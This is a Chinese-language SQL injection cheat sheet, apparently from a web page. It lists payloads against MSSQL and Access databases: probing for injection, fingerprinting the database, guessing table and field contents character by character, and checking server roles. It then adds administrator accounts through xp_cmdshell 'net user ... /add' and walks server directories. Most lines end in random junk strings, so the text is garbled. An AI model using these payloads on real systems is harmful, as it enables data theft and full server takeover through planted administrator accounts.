1.判断是否有注入;and 1=1 ;and 1=2 C7G,M
2.初步判断是否是mssql ;and user>0 S-}c_zbl;
^>F[aT
3.注入参数是字符'and [查询条件] and ''=' 1pg#@h[|t
\q*-9_M
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 3[y$$qXI
_WvVF*Q"k
5.判断数据库系统 J}[[tl
$./aKJ1B
;and (select count(*) from sysobjects)>0 mssql 7G^Q2w
*r[V[9+y-D
;and (select count(*) from msysobjects)>0 access y2#"\5dC
M]p-<R\
k7Qs#L
ZgG~xl\My
6.猜数据库 ;and (select Count(*) from [数据库名])>0 9) ,|h
-)^vO*b 0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 m<)`@6a/
cfilH"EK
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 :hs~;vn)
}eW<P079
9.(1)猜字段的ascii值(access) mv #hy
Z1I.f"XY
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 AX$r,KmE
q?Csm\Y
(2)猜字段的ascii值(mssql) fz`)CWo:
d5>&,
{o7N
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 S<NK!89
SepwMB4@
10.测试权限结构(mssql) bEj}J_#
#+p-
$pAJ$0=sw
FG[rH]
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- \eNB L[
M;Pry3J
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >W8"Ar
7 s{vou
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- `_ 1~[t
CEI"p2
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $A9Pi"/*z
=k.%#h{
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- O^=+"O]
&.?E[db"h
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- NJ.oM E@=
Lo_+W1+
;and 1=(select IS_MEMBER('db_owner'));-- fn,hP_
C
'MR=/sd
'nGUm[vh
,lA@C2c
11.添加mssql和系统的帐户 d8vf
kVB
eK
l;T
;exec master.dbo.sp_addlogin username;-- -$o0P'Vx
;exec master.dbo.sp_password null,username,password;-- 7`;f<QNo
-*4*hHmb
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3.?be.cq
?R#$
c]
;exec master.dbo.xp_cmdshell 'net user username password C{pOGc@
Z3hZy&_I
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z,ERq,g+L
YmaS,Q-
;exec master.dbo.xp_cmdshell 'net user username password /add';-- PIa!NPy
;10YG6:
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- m!Z<\2OP
,G%UU~/a
=xIZJ8e
jhf3(hx&F
12.(1)遍历目录 p>+9pxx~U
xmcZN3 ){+
;create table dirs(paths varchar(100), id int) pg4pfi^__V
f\dfKNm6
;insert dirs exec master.dbo.xp_dirtree 'c:\' v.Q#<@B^:
v;e8W9M
;and (select top 1 paths from dirs)>0 clV^Xg8D
g?v(>#i
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) >":xnX#
$U]T8;5Q
#DFi-o&-
[z2UfHpt~
(2)遍历目录 _C?Wk:Y@
}|=/v(D
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ]5S`y{j1
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4\&Y;upy+
F!EiF&[\J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 hA5')te<